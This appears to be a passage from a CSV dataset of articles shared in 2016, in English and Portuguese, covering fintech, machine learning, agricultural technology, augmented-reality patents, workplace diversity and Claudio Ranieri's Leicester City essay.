phone. The card is accepted. The purchase - two bananas for 40p - shows up on his iPhone before the self-service till can print the receipt. Digital banks also face the issue of opening accounts and still complying with strict anti-money laundering rules with which banks must comply, and finding ways to let customers pay in cheques. Links with the Post Office and other banks are being considered while a cheque imaging service under development by the industry gets off the ground. Blomfield reckons there is huge potential. ""I think that in the next two or three years a bank will be launched that will become the scale of Google or Facebook."" Is that what Mondo hopes to become? ""We hope so,"" he said.",en
1460133370,CONTENT SHARED,5530820581773167955,-5527145562136413747,5000314508113839848,,,,HTML,http://www.meioemensagem.com.br/home/comunicacao/noticias/2016/04/06/mulheres-mais-criativas.html,Mulheres são mais criativas que homens?,"06 de Abril de 2016 * 17:37 *Por Mauro Cavalletti Agora está claro: a composição dos times criativos das agências é desproporcionalmente masculina. Por um motivo ou outro, acabamos criando uma cultura de exclusão que não se justifica. Um provável resultado direto é que mais e mais mulheres estão questionando a propaganda que vai para a rua, que já não as representa. Uma vez que excelência profissional não discrimina gêneros, está difícil fechar essa conta. Mas pergunte para qualquer liderança criativa que recrutou recentemente e você vai ouvir que o número de talentos femininos no mercado é pequeno. Também vai ouvir que não importa se o criativo é um homem ou uma mulher, o que realmente importa é o trabalho que apresentam. Difícil discutir meritocracia em mercados competitivos, onde a qualidade é fundamental. Mas criatividade é avaliada, muitas vezes, de maneira subjetiva, então quero dividir uma história. Na última semana de fevereiro deste ano, a revista do New York Times trouxe um caso conhecido em alguns meios corporativos. Na década de 1970, a maior parte das orquestras sinfônicas americanas era composta por músicos homens e brancos, sob o argumento que eram os únicos candidatos qualificados. Também se argumentava que a oferta de talentos masculinos era maior que a oferta dos talentos femininos. Numa tentativa de entender melhor o problema e encontrar uma solução, as orquestras resolveram aplicar um método bastante conhecido em marketing, os testes cegos. Nas audições ao vivo, os músicos passaram a tocar atrás de um biombo e a banca passou a ouvir, somente ouvir, os músicos avaliados. Detalhe: a configuração do teste incluía tapetes na área de audição, já que os avaliadores percebiam o tique-taque dos saltos altos mesmo com a barreira visual. Como resultado do novo processo seletivo, o número de mulheres contratadas pelas orquestras cresceu em até 46%. Não importa muito que o preconceito tenha sido, dessa maneira, escancarado. O que importa, realmente, é que resolveram o problema e passaram a contratar, por mérito, muito mais mulheres. Na verdade, em testes cegos, as mulheres contratadas acabaram formando um percentual ligeiramente acima dos colegas homens. Como consequência, o número de candidatos femininos cresceu proporcionalmente ao longo dos anos, num processo reverso muito interessante - as mulheres passaram a se interessar mais por uma carreira nas orquestras que adotaram o método. Solução talvez criativa demais para um mercado como o nosso, onde as contratações são quase sempre baseadas em indicações, por sua vez baseadas na experiência do candidato. Isto é, o candidato já chega carimbado e avaliado na nossa mesa. Não estou questionando o critério do mérito, apenas apontando o paradoxo. O equilíbrio entre o número de mulheres e homens é apenas um passo no balanço das forças que precisamos calibrar para falar a linguagem do nosso tempo. Imagine os passos necessários para promovermos o equilíbrio étnico, de origens sociais, de formação cultural e outros pontos importantes na cultura cada vez mais pluridimensional que estamos construindo. Estamos vivendo uma mudança profunda de mentalidade que está colocando nossa audiência cada vez mais distante dos nossos times culturalmente homogêneos. E não adianta promovermos jovens lideranças com cabeça antiga. É preciso viver as mudanças do lado de dentro. Temos de ir além das homenagens e do reconhecimento das nossas colegas mais brilhantes, abrindo mais espaço para contratações de mulheres e promovendo a formação de mais lideranças criativas femininas. A presença de mais mulheres talvez mude radicalmente nosso ambiente de trabalho e nossa cultura criativa. Talvez, não. Difícil saber. O que vai mudar com certeza é o produto criativo, que vai ficar mais afinado com o que está acontecendo no mundo, mais alinhado com as mudanças de comportamento que estamos vivendo. Nada errado nisso, muito pelo contrário: essas mudanças são urgentes para manter nosso trabalho relevante. *Mauro Cavalletti é head of creative shop do Facebook",pt
1460133531,CONTENT SHARED,-4316394955033262743,-1443636648652872475,4282110156146973393,,,,HTML,https://www.technologyreview.com/s/601210/the-man-selling-shovels-in-the-machine-learning-gold-rush/,The Man Selling Shovels in the Machine-Learning Gold Rush,"The Man Selling Shovels in the Machine-Learning Gold Rush Nvidia's CEO says his hardware will revolutionize robotics and that his chips can learn from Google's AlphaGo. Jen-Hsun Huang, CEO of the chipmaker Nvidia, is either very prescient or very lucky. His company was built around graphics processing units (GPUs) for video games. But those same chips are now widely used in artificial-intelligence projects such as efforts to build self-driving cars. Nvidia's chips turned out to be especially efficient for training the neural networks used in a technique called deep learning that has recently made software much smarter and caused tech giants and investors to pile money into machine-learning research . This week the company announced a new chip designed specifically for the task (see "" A $2 Billion Chip to Accelerate Artificial Intelligence ""). Huang spoke with Will Knight, MIT Technology Review 's senior editor for AI and robotics, at the company's annual technology conference in San Jose this week. What do you expect will be the next big market for your hardware? I think robotics is going to be huge. The reason we chose [to make a chip for] self-driving cars is that it's the easiest robotics challenge. Deep learning has given us an algorithm that can finally allow robots to learn for themselves, from high-level goals, and through iteration discover for itself. I don't think it's possible to teach a robot that by writing programs. Deep learning has certainly been successful, but it's only a very approximate simulation of what goes on in the brain. Are you interested in developing hardware that works more like the underpinnings of biological intelligence? We're trying to build a better plane rather than figure out how a bird works. Some people describe it as neurons, but the analogy to the brain is very loose. To us it's a whole bunch of mathematics that extracts the important features out of images or voice or sensor action. Any analogy to a brain is not necessarily that important. Google DeepMind's software AlphaGo recently defeated the world's top Go player . Will cutting-edge AI research like that shape future hardware? We work very closely with the DeepMind guys, and there is no question AlphaGo was a milestone in human endeavor. It's amazing that a machine could learn the deep intuition needed to play. I'd love to see us advance these new ideas, whether its memory, reinforcement learning, or transfer learning, unsupervised learning. All of these areas of research will expand the capabilities of this tool called deep learning dramatically. As soon as I learn the challenges of today's architectures, I can put those ideas into the next architecture.",en
1460133835,CONTENT SHARED,657779080033041603,-1443636648652872475,4282110156146973393,,,,HTML,https://www.devex.com/news/using-artificial-intelligence-to-revolutionize-diabetes-treatment-87989,Using artificial intelligence to revolutionize diabetes treatment,"The Suggestic app is designed to help people with diabetes navigate towards a healthier lifestyle. How can artificial intelligence play a role in the development of health care services? Photo by: Suggestic A Silicon Valley startup wants to use artificial intelligence to help diabetes patients better navigate health and lifestyle decisions. Suggestic , an application and Internet-based platform, is looking to fuse medical advances with a growing trend of personalized healthcare - making interventions specific to the individual patient. The company launched a beta version of its technology earlier this month and has a few thousand people signed up in their waiting list to try out the service. ""We call it the 'lifestyle GPS' because we want it to work as a personal assistant to help diabetic people to have a better lifestyle,"" Shai Rosen, co-founder and chief marketing officer of Suggestic, told Devex. ""We want to give people a virtual presence right next to them 24 [hours a day] and 7 [days a week] to make small habit-changing choices."" Founded in July 2014, Suggestic focuses on creating personalized interventions in just about every aspect of type 2 diabetes patients' lives - and even those of their family and friends. Rosen sees his group's work as part of a broader trend in precision medicine: the most effective strategies for each individual. That move is part of a broader paradigm shift from the generalist point of view that has prevailed in the healthcare and medical industry in the past. ""We're all the same human beings but at the same time we're all very different. We've seen that treating everyone as if we're all the same just doesn't work,"" he said. ""We believe that the future of health has to do with deep and advanced personalization,"" he said. ""When we say personalization, we're not only talking about the physiological [and] biological side ... but it also has to do with understanding who the person is in terms of behavior, culture, context, what they do, why they do it, and so on."" The Silicon Valley startup aims to initially focus on the over 30 million people diagnosed with type 2 diabetes in the United States and provide them with better lifestyle suggestions to guide them in tackling the disease holistically. While their initial target market is focused in the U.S., Rosen isn't ruling out making the program and the technology available worldwide, especially to the 422 million people afflicted with the disease in 2014, according to the World Health Organization . How it works Suggestic's platform works by using a powerhouse of data to provide an interactive solutions for patients. On the back end, it uses artificial intelligence technology to sift through thousands of medical journals and other knowledge, curated by a director of medical affairs, to provide personalized suggestions to the users. ""We have encoded in the platform thousands of scientific and medical papers, guidelines and interventions about diabetes,"" he said. ""What the platform does internally is it creates very specific, personalized and precise plan or lifestyle intervention that has to do with matching who you are to the possibilities in the scientific knowledge."" Utilizing artificial intelligence this way will not only help medical and healthcare professionals to have a more precise delivery of service to their patients (no need to sift through thousands of medical knowledge manually), but it also educates the patients and their loved ones about their conditions and the treatments available to them. ""We add knowledge to the platform and the platform learns from that, then gives it to the user and learns back from them as well,"" Rosen said. Backed by this data, the app provides users a space for personalized interaction, said Rosen. The app will function like a chat: ""as if you're talking to a human being,"" he said. Some of the possible interventions include food choices, physical activities, and medical checkups, among others. AI in health care The health care industry has seen a rise in the number of applications for artificial intelligence in recent years. Technology company IBM , for instance, has been ramping up efforts in the development of AI with its Watson Health system , which can assess huge amounts of patient data, provide guidance on technical decisions, and improve overall clinical workflow. The market thinks applications of AI like this could be big business. A January report by research firm Frost & Sullivan found that revenues from the use of artificial intelligence in the health care industry are expected to increase tenfold from $600 million in 2014 to more than $6.6 billion in 2021. Other firms that have focused their efforts on utilizing AI technologies include Portland-based startup AkēLex , which provides an adaptive learning tool to offer guidance to caregivers based on their patients' profiles. Austin-based firm Cognitive Scale is another example, offering a cloud-based medical knowledge. Yet critics raise some concerns (including ethical ones) about using AI on a wider scale. Careers and livelihoods in medicine could be replaced by machines, for example. But Rosen sees Suggestic - and AI more broadly - as more of a complementary element in healthcare and medical services. The data and knowledge it provides supplements, rather than replaces, existing jobs. ""Our vision ... is to augment the capacity of medical professionals, not only give them more tools but also of their reach,"" he said. ""Like in the case of a diabetic patient, if they see their doctors once or twice a year, what happens to the rest of the 363 days?"" The technology itself is also still far from perfect. As it becomes refined, Rosen believes AI's potential will become more significant, not just in health care but also a host of other sectors,. ""I think [AI] applies to everything ... [and] I believe it will help us skip many steps,"" he said. ""At least where we are now and what we see, AI is not perfect. It's far from perfect but it has the capability to analyze a lot of information that would otherwise take a lot of people and resources and time to do."" Read more international development news online, and subscribe to The Development Newswire to receive the latest from the world's leading donors and decision-makers - emailed to you FREE every business day.",en
1460134201,CONTENT SHARED,-8123434787655959885,-1443636648652872475,4282110156146973393,,,,HTML,http://www.infoworld.com/article/3053505/cloud-computing/machine-learning-is-a-poor-fit-for-most-businesses.html,Machine learning is a poor fit for most businesses,"Machine learning is the new battle cry for the cloud world. Until cloud computing came along, machine learning was out of reach for most enterprise IT shops. But now that it's in the cloud as a service, it's affordable. It should be no surprise that Amazon Web Services, Google, IBM, and Microsoft offer machine learning services in their clouds. Machine learning is valuable only for use cases that benefit from dynamic learning -- and there are not many of those. Examples of machine learning use cases include financial systems that deal with risk, medical diagnosis, or recommendation systems like those at Amazon.com. But the online transaction processing (OLTP) style of applications that run most businesses are not a good fit for machine learning. I've used machine learning for applications that needed to learn as they processed data, such as to recommend products or services from a website by observing the behavior of the person driving the browser. Over time, the application builds up knowledge that allows it to make good guesses about the user. In essence, it simulates humans' ability to dynamically learn through experiences. The problem is if you have a hammer, everything looks like a nail. Vendors pushing machine learning cloud services say it's a good fit for many applications that shouldn't use it at all. As a result, the technology will be overapplied and misused, wasting enterprise resources. Watch out for machine learning fever at your business -- use it where it truly makes sense, but avoid it elsewhere. You have too much necessary work to do to spend resources on unnecessary work.",en
1460143254,CONTENT SHARED,-1470592927114056630,6735372008307093370,-2971006927813052814,,,,HTML,http://www.hugogloss.com/index.php/cool/estudante-de-direito-da-licao-em-colegas-apos-virar-piada-entre-eles-veja-o-video/,Estudante de Direito dá lição em colegas após virar piada entre eles,"O jovem Lucas Chaves, de 21 anos, aluno do sétimo período de uma faculdade em Barbacena, virou assunto nas redes sociais após um vídeo dele dando uma bronca nos colegas circular na web. O bapho começou depois que um amigo do estudante lhe contou que estavam fazendo piadas com suas fotos em grupos de WhatsApp. Ao saber do ocorrido, ele decidiu dá uma lição nos colegas. Após o término de uma aula, Lucas pediu permissão ao professor e foi pra frente da sala avisar aos envolvidos que já estava sabendo das piadinhas. "" Não quero foto minha rodando em grupo de WhatsApp de vocês "", começou ele. Lucas aponta para um dos responsáveis pela piada e solta o verbo: "" Eu já tô sabendo que você foi no meu Facebook pegar foto minha. Meu Facebook está aberto, se eu coloquei no meu Facebook é porque não tenho vergonha da foto. Eu estou vestido de homem, tô vestido de mulher, vestido do que eu quiser. O que eu faço pra lá desta porta não te interessa, não interessa a nenhum de vocês. Inclusive, o que eu faço aqui dentro não interessa também. Quem paga minha faculdade sou eu, meu pai, não interessa quem paga "". E ele termina com um vráaaa: "" E pra você, Franz, tirando foto minha conversando com o Rodrigo com a legenda assim: Ele gosta. Você acha que está me ofendendo me chamando de viado, me chamando de alguma coisa? Ofensa pra mim é ser comparado com algum de vocês . Uns homens velhos, casados, marmanjos, com filho, fazendo uma coisa dessas. Isso sim é ofensa. Ser viado, ser bicha, não é ofensa nenhuma "". SEGURA ESSE SAMBA, MONAMUR!!! Veja o vídeo: Em entrevista ao BuzzFeed Brasil , Lucas contou que o vídeo foi interrompido, mas ele deu um recado: "" Eu disse que se eles quisessem tirar uma foto comigo, eu estaria disponível e faria até pose "". Hahahahah! Maravilhoso! Ai gente, pelamor, né? Uma faculdade de Direito com esse povo que parece que parou no tempo. Se poupem e nos poupem! Vai ter close sim!!! por Raphael Amador , 7 de abril de 2016",pt
1460146784,CONTENT SHARED,6206342468637502921,-1130272294246983140,4579064824853185436,,,,HTML,http://www.avozdamarca.com.br/voz-da-marca2-de-onde-vem-historias/,Como contar histórias para marcas - Podcast A Voz Da Marca ep2,"Veja como é simples contratar conteúdo de qualidade e aprenda a moldar o foco e abordagem conceitual na hora de contar histórias para a sua marca. Olá, personas! No segundo episódio do podcast A Voz Da Marca , vamos apresentar um pouco melhor a central de conteúdo e mostrar como pequenas empresas, startups e empreendedores podem descobrir, produzir e disseminar as melhores histórias para as suas marcas. Você vai conhecer um pouco melhor a metodologia da contemconteudo.com Lembra que no primeiro episódio a gente combinou de sempre trazer umas dicas para as marcas que querem produzir conteúdo relevante no mundão digital? Pois hoje tem. Vamos começar uma série especial chamada ""De onde vêm as histórias"". No primeiro capítulo, vamos abordar dois temas importantes: o foco e o corte conceitual. Complicado? Que nada, o programa está cheio de exemplos e de viagens no tempo para ajudar a explicar! Para entender melhor o que falamos no programa: Agora é com vocês. Comentem!",pt
1460146885,CONTENT SHARED,-9092333155845304874,-1130272294246983140,4579064824853185436,,,,RICH,https://soundcloud.com/avozdamarca/a-voz-da-marca-2-de-onde-vem-as-historias,A Voz Da Marca #2 - De onde vêm as histórias by A Voz da Marca,"Olá, personas! No segundo episódio do podcast A Voz Da Marca, vamos apresentar um pouco melhor a central de conteúdo e mostrar como pequenas empresas, startups e empreendedores podem descobrir, produzir e disseminar as melhores histórias para as suas marcas. Você vai conhecer ainda mais a metodologia da contemconteudo.com Calma que tem mais!",pt
1460146906,CONTENT REMOVED,6206342468637502921,-1130272294246983140,4579064824853185436,,,,HTML,http://www.avozdamarca.com.br/voz-da-marca2-de-onde-vem-historias/,Como contar histórias para marcas - Podcast A Voz Da Marca ep2,"Veja como é simples contratar conteúdo de qualidade e aprenda a moldar o foco e abordagem conceitual na hora de contar histórias para a sua marca. Olá, personas! No segundo episódio do podcast A Voz Da Marca , vamos apresentar um pouco melhor a central de conteúdo e mostrar como pequenas empresas, startups e empreendedores podem descobrir, produzir e disseminar as melhores histórias para as suas marcas. Você vai conhecer um pouco melhor a metodologia da contemconteudo.com Lembra que no primeiro episódio a gente combinou de sempre trazer umas dicas para as marcas que querem produzir conteúdo relevante no mundão digital? Pois hoje tem. Vamos começar uma série especial chamada ""De onde vêm as histórias"". No primeiro capítulo, vamos abordar dois temas importantes: o foco e o corte conceitual. Complicado? Que nada, o programa está cheio de exemplos e de viagens no tempo para ajudar a explicar! Para entender melhor o que falamos no programa: Agora é com vocês. Comentem!",pt
1460150123,CONTENT SHARED,-958925381525830552,-8845298781299428018,-7983272784902931411,,,,HTML,https://cloudplatform.googleblog.com/2016/04/monitor-your-application-errors-with-Stackdriver-Error-Reporting.html,Monitor your application errors with Stackdriver Error Reporting,"We're excited to introduce Stackdriver Error Reporting to help you quickly understand your application's top or new errors. Stackdriver Error Reporting counts, analyzes and aggregates in real time the crashes in your running cloud services, and notifies you when there's something new. Stackdriver Error Reporting allows you to monitor your application's errors, aggregated into meaningful groups tailored to your programming language and framework. This helps you see the problems rather than the noise. Maybe you want to watch out for recently occurred errors in a given service, or judge the user impact of an outage. Just sort by first/last seen date, occurrences, or number of affected users to get the information you need. You can opt in to be notified when a new error cannot be grouped with the previously received ones, and jump directly from the email to the details of the new error. The ""detail view"" presents key error information to help you assess its severity and understand the root cause: a bar chart over time, the first time this error has been seen, and the affected service versions. Look through error samples to better diagnose the problem: inspect the stack trace focusing on its relevant parts and start to debug in Stackdriver Debugger, learn more about the request that triggered it and navigate to the associated logs. While an immediate next step could be to rollback your service, you also want to work on fixing the errors. Stackdriver Error Reporting integrates with your regular workflow by allowing you to link an error to an issue from your issue tracker. Once done, you can see at a glance which errors have associated issues. The feedback from our alpha testers has been extremely positive. A frequent response we heard was that Stackdriver Error Reporting helped you identify some hard-to-catch intermittent errors that were hidden in logs, increasing product quality. Thank you for the feedback! Get started Stackdriver Error Reporting is now available in beta for everyone to try. Zero setup is needed for App Engine applications and requires just a few configuration steps on other platforms. Visit to get started with your project.",en
1460165620,CONTENT SHARED,-2329480295839698254,-1032019229384696495,252674282162421189,,,,HTML,http://www.cloudtp.com/feeding-10-billion-people/,Feeding 10 Billion People - Land O'Lakes & CTP,"A farmer's success is all about making the right decisions. From when to plant seeds, to where and how much to water and fertilize, farmers have always been faced with a litany of decisions. Teddy Bekele, VP IT at Land O' Lakes explains, ""Most farmers need to make 40 major decisions throughout their crop's growing cycle. These 40 turn into about 200 smaller decision points, all of which impact the success of a crop."" Traditionally, farmers based their decisions largely off intuition. Today however, cloud, IoT, and big data technologies are efficiently capturing, ingesting and analyzing data from multiple sources simultaneously, arming farmers with the real-time data they need to make more informed decisions. Better farming decisions translate to larger yields with fewer resources. More mouths, fewer resources. The United Nations estimates that by 2050, the world's population will reach 10 billion. The same study highlights that by as soon as 2030, global water demand will outstrip supply by 40%. Given the scarcity of water, arable land, and other input resources, a farmer's ability to sustainably improve yields will be critical to feeding future generations. Land O' Lakes is investing millions in agricultural technology to help farmers produce more food, with fewer resources and less environmental impact. The development of cloud-native systems that help farmers make data-driven decisions is at the heart of the Ag Tech Revolution. ""We are building applications that streamline data capture and knowledge transfer, all in real time."" - TEDDY BEKELE Listen to Teddy Bekele & David Linthicum Discuss the Latest Ag Tech Trends in Cloud and IoT CTP worked with Land O' Lakes to develop a data collection application that securely and automatically enables data exchange between growers, retailers, and third party providers. Built on Google Cloud Platform, Data Silo enables farmers to more quickly and accurately store, share and analyze crop data. Core features include: Web-based upload of files to easily store large data sets User dashboard that allows for easy sharing Ability to rapidly search for information User groups and roles for control over who owns and can access data Listen to Teddy discuss the power of cloud-scale compute & analytics at Google Next → The stakes are high, but breakthroughs in cloud and big data technology are enabling a new generation of cloud-enabled farmers. By leveraging these technologies, Land O' Lakes farmers are producing 650% more corn today on 13% fewer acres than they were 50 years ago. From buried IoT sensors that can accurately predict future yields, to smart dashboards that integrate crop and field data from thousands of acres, the farms of the future will need to be even more connected, productive and sustainable. The world's population is depending on it. Learn more about CTP's cloud application development capabilities →",en
1460171319,CONTENT SHARED,-3620251618670158123,-1032019229384696495,252674282162421189,,,,HTML,http://www.engadget.com/2016/04/08/google-makes-building-apps-easier-with-android-studio-2-0/,Google makes building apps easier with Android Studio 2.0,"The most prominent addition is Instant Run, something the company has been refining in previews over the last year. When you change your code, you can instantly see how it affects the running app, with no need to re-compile or reinstall the APK. That should ""accelerate your edit, build and run cycles,"" according to Google. The Android device emulator now takes advantage of multi-core CPUs, making it three times faster than before. ""In most situations, developing on the official Android Emulator is faster than a real device, and new features like Instant Run will work best with the new Android emulator,"" Google says. The brand new interface will help you fine tune an app by letting you rotate the screen, drag-and drop to install apps and use multi-touch controls like pinch to zoom. Once the app is ready, you can use Google's Cloud Test Lab to put it ""through a collection of tests against a portfolio of physical devices hosted in Google's data centers,"" according to the company. That works both with your own tests or basic ones supplied by Google, helping to eliminate conflicts and other bugs. Game developers, meanwhile, can preview the new GPU Developer, which lets you ""step through your app frame by frame to identify and debug graphics rendering issues."" Finally, Google has added App Indexing, a feature that helps users find your app in the Play Store. To do that, it helps you create the right URL structure, add attributes that work with Google's app indexing service and test the final result. If you're looking to become the next Flappy Bird maven or have an app dev deal with one of the Kardashians , Android Studio 2.0 is now available .",en
1460172215,CONTENT SHARED,6576356408780336784,-1032019229384696495,252674282162421189,,,,HTML,http://www.theverge.com/2016/4/8/11389252/magic-leap-patent-application-augmented-reality-coffee,Magic Leap has written our future in its patent filings,"Augmented reality company Magic Leap's public statements tend toward vagueness - its last major statement simultaneously promised to transform the world as we know it and hinted that we shouldn't have high hopes for an actual product. But the company's patent documents are endlessly entertaining . They're relatively non-specific claims about light field technology and human-computer interaction, padded with little sci-fi set pieces and illustrations that are even weirder than your average surreal patent line drawing . The latest filing is no exception. The actual claim for this application covers an augmented reality environment that can be shared by multiple people, using unspecified computing devices. To illustrate this, it's pulled together a host of tiny predictions for our future, from the adorably silly to the grimly dystopian. Magic Leap spends a lot of time focusing on how augmented reality will modify public spaces. One of its ideas is, predictably enough, giant virtual objects that will appear differently to different people. It's the details that start getting weird. In the future, urban planners will create huge empty platforms to house art that's available only to augmented reality users. ""If the user is a small child, the statue may be a dog,"" the patent application explains. ""Yet, if the viewer is an adult male, the statue may be a large robot,"" because in the future adult men will wish the whole world were their own personal Gundam theme park . I can't tell if that's absolutely reasonable, sort of depressing, or both. But wait, what's that smiling bee up in the corner? Well, it's a fascinating blend of augmented and virtual reality. The bee is the avatar of someone using a full VR headset to fly through a completely rendered world that also maps onto the real world, and the tiny man at the base of the statue can see the avatar in what looks like real space. The whole thing is a little confusing, but imagine a sport where players compete in virtual reality and spectators see them as miniature figures on a tabletop. That's cool! Dog statues are for children - real men like giant robots Turning stereotypical AR ideas into incredibly elaborate productions is kind of Magic Leap's thing. For example, think of how you might use hologram overlays in a coffee shop. Maybe you'd get some information about each bean? Or an exclusive holographic concert performance? Or calorie counts? I guess, but don't you also want the entire coffee shop to turn into ""a Madagascar jungle scene ... with or without jungle sounds and other effects"" until your augmented reality headset deduces that you've finished your drink by ""noting the upside down orientation of the coffee cup as the user ingests the last sip of coffee?"" ( Re/code is a big fan of the coffee jungle as well.) Disappointingly, the application did not include a picture. This is roughly the point at which Magic Leap starts imagining the really futuristic tech. The sections that follow inform the USPTO that augmented reality and eye tracking software can be used not only on smartphones and head-mounted displays, but on mixed reality contact lenses and ""implantable devices that stimulate the optical receptors of the human brain."" And then, once you're getting used to the idea of getting augmented reality surgically implanted in your brain, it springs the real consumerist nightmare on you: using image recognition, brands will look through your eyes and guess when you're interested in them. A purveyor of coffee such as Starbucks may invest in creating an accurate recognizer of Starbucks coffee cups within pertinent worlds of data. Such a recognizer may be configured to crawl worlds of data large and small searching for Starbucks coffee cups, so they may be segmented out and identified to a user when operating in the pertinent nearby space (i.e., perhaps to offer the user a coffee in the Starbucks outlet right around the corner when the user looks at his Starbucks cup for a certain period of time.) Actually, Starbucks might not even have to invest much in its brand-bot, because the operating system will urge users to identify objects around them in order to train its image recognition tools. To quote the application one last time, our future is your brain-computer whispering, over and over: ""Is that a Starbucks coffee cup?"" ""Is that a Starbucks coffee cup?""",en
1460200637,CONTENT SHARED,4355464044208438135,-6030696784871381528,3156557011070914976,,,,HTML,https://www.siliconrepublic.com/machines/2016/04/09/iot-day-infographic,IoT Day: A timeline of how IoT is changing the world (infographic),"To mark Internet of Things Day (IoT Day), RS Components takes a look at how it envisions IoT will change people's lives for the better. IoT Day has been around since 2011 as a worldwide event bringing together makers, entrepreneurs, industry leaders, and citizens to discuss, design and develop the emerging IoT, but even in the five years since, an awful lot has changed in the industry. One look at predictions made about where the technology is going and what sums of money will be generated or exchanged - either from a consumer standpoint or industrial standpoint - is enough to make your head spin. Financial benefits For example, a report issued last year states that it's likely that, by 2020, companies not taking advantage of the industrial side of IoT could be missing out on a market worth approximately $14.3trn. Equally large was another estimate which expects there to be 38.5bn IoT devices across the globe in just four years' time. So, to that end, electrical component manufacturer, RS Solutions, offers its own infographical insight into how it sees IoT entering into every facet of daily life from the moment you wake up, to when you go to sleep. Infographic via uk.rs-online.com IoT main image via Shutterstock",en
1460201474,CONTENT SHARED,-6840859460575237450,-6030696784871381528,3156557011070914976,,,,HTML,http://premierleaguebrasil.com.br/2016/04/06/esse-texto-do-ranieri-e-a-melhor-coisa-que-voce-lera-hoje/,Este texto do Ranieri é a melhor coisa que você lerá hoje,"*texto e imagens originalmente publicados no site . NÓS NÃO SONHAMOS por Claudio Ranieri Eu me lembro da primeira reunião que tive com o presidente quando cheguei ao Leicester City no verão. Ele sentou comigo e me disse: ""Claudio, esse é um ano muito importante para o clube. É muito importante que fiquemos na Premier League. Temos que nos livrar do rebaixamento"". Minha resposta foi: ""Ok, claro. Vamos trabalhar duro nos treinos e tentar alcançar esse objetivo"". Quarenta pontos. Esse era o plano. Esse era o total que precisávamos para ficar na primeira divisão, para dar aos nossos torcedores mais um ano de Premier League. Naquela época, eu nem imaginava que iria olhar aquele papel no dia 4 de abril e ver o Leicester no topo da tabela com 69 pontos. No ano passado, nesse mesmo dia, o clube era o último colocado na classificação. Inacreditável. Eu tenho 64 anos, e, por isso, não saio muito de casa. Minha esposa está comigo há 40 anos. Nos meus dias de folga, tento ficar perto dela. Nós vamos ao lago perto da nossa casa ou, se estivermos mais animados, assistimos a um filme. Porém, ultimamente, eu tenho ouvido o barulho que vem de todas as partes do mundo. É impossível ignorar. Tenho ouvido até que temos novos torcedores na América nos seguindo. Para vocês, eu digo: bem-vindos ao clube. Estamos felizes por termos vocês. Quero que vocês amem a maneira com a qual jogamos futebol, e quero que amem meus jogadores, porque a jornada deles é inacreditável . Vocês talvez já tenham ouvido os nomes deles. Jogadores que eram considerados muito pequenos ou muito lentos para outros grandes times. N'Golo Kanté. Jamie Vardy. Wes Morgan. Danny Drinkwater. Riyad Mahrez. Quando eu cheguei no meu primeiro dia de treinos e vi a qualidade desses jogadores, eu sabia quão bons eles poderiam ser. Bem, eu sabia que teríamos uma chance de sobreviver na Premier League. Esse tal de Kanté corria tanto que eu pensei que ele tinha uma caixa cheia de baterias sob os shorts. Ele nunca parava de correr no treino. Tive que dizer a ele: ""N'Golo, pega leve. Vá devagar. Não corra atrás da bola toda hora, ok?"" Ele me respondeu: ""Ok, chefe. Pode deixar"". Dez segundos depois, eu olho e ele está correndo de novo. Eu disse: ""Um dia, eu ainda vou ver você cruzar a bola e correr para cabeçear"". Ele é inacreditável, mas não é a única peça-chave. Existem muitas outras para citar nessa temporada incrível . Jamie Vardy, por exemplo. Ele não é um jogador de futebol. É um cavalo fantástico. Ele precisa estar livre no campo . Eu digo a ele: ""Você é livre para se movimentar da forma que quiser, mas você tem que nos ajudar quando perdermos a bola. Isso é tudo o que eu te peço. Se você começar a pressionar o adversário, todos os seus companheiros vão segui-lo"". Antes de jogarmos a primeira partida da temporada, eu disse aos jogadores: ""Eu quero que vocês joguem pelos seus companheiros. Somos uma equipe pequena, então temos que lutar com todo nosso coração, com toda nossa alma. Eu não quero nem saber o nome do oponente . Tudo o que eu quero é que vocês lutem. Se eles forem melhores que nós, ok. Parabéns. Mas eles têm que mostrar pra gente que são melhores "". Existia uma eletricidade fantástica em Leicester desde meu primeiro dia. Começa com o presidente e passa pelos jogadores, pela equipe de profissionais e pelos torcedores. Foi inacreditável o que eu senti. No King Power Stadium, existe uma energia incrível . Os torcedores só cantam quando temos a bola? Oh, não, não, não. Quando estamos sob pressão, eles entendem nosso sofrimento e cantam com o coração. Eles entendem a complexidade do jogo e sabem quando os jogadores estão sofrendo. Eles são muito, muito próximos a nós . Nós começamos muito bem a temporada. Mas nosso objetivo, eu repito, era salvar o time do rebaixamento. Nos primeiros nove jogos, nós estávamos ganhando, mas sofríamos muitos gols. Tínhamos que marcar dois ou três gols todo jogo para conseguirmos vencer. Isso me preocupava muito . Antes de cada partida, eu dizia: ""Vamos, pessoal! Quero uma clean sheet hoje"". Nenhuma clean sheet. Tentei todo tipo de motivação. Então, finalmente, antes da partida contra o Crystal Palace, eu disse: ""Vamos, galera! Eu ofereço uma pizza se vocês conseguirem uma clean sheet "". Claro que meus jogadores conseguiram a clean sheet contra o Crystal Palace . 1 a 0 pra gente. Então, eu cumpri a promessa e levei meus jogadores à Peter Pizzeria, em Leicester City Square. Mas eu tinha uma surpresa preparada lá. Eu disse: ""Vocês têm trabalhado por tudo. Vocês vão trabalhar pela sua pizza também . Nós mesmos as faremos"". Entramos na cozinha com a massa, o queijo e o molho. Fizemos tudo. Estava muito bom, também. Comi vários pedaços. O que eu posso dizer? Sou italiano. Adoro minha pizza e minha pasta. Agora, conseguimos várias clean sheets . Uma dúzia de jogos sem tomar gols depois da pizza, na verdade. Não acho que foi coincidência . Faltam seis jogos, e nós devemos continuar lutando com nosso coração e nossa alma. Esse é um clube pequeno que está mostrando ao mundo o que pode ser alcançado através de espírito e determinação. Vinte e seis jogadores. Vinte e seis cérebros diferentes. Mas um só coração . Há poucos anos, muitos dos meus jogadores estavam em ligas menores. Vardy trabalhava em uma fábrica . Kanté estava na terceira divisão na França. Mahrez, na quarta. Agora, estamos brigando por um título. Os torcedores do Leicester que encontro na rua me dizem que estão sonhando. Mas eu digo a eles: ""Ok, vocês sonham pela gente. Nós não sonhamos. Nós simplesmente trabalhamos duro "". Não importa o que aconteça ao fim dessa temporada. Eu acho que nossa história é importante para todos os torcedores ao redor do mundo. Isso dá esperança aos jovens jogadores que já ouviram um ""você não é bom o suficiente"". Eles podem dizer a eles mesmos: ""Como posso chegar ao topo? Se Vardy pode, se Kanté pode, eu também posso"". O que você precisa pra chegar lá? Um grande nome? Não . Um grande contrato? Não . Você só precisa manter a mente aberta, o coração aberto, e correr livre . Quem sabe? Talvez, ao fim da temporada, nós teremos duas festas da pizza. Comments comments About the Author Jornalista formado pela Unesp - Bauru. Assessor de Comunicação do CEPID-CeMEAI e 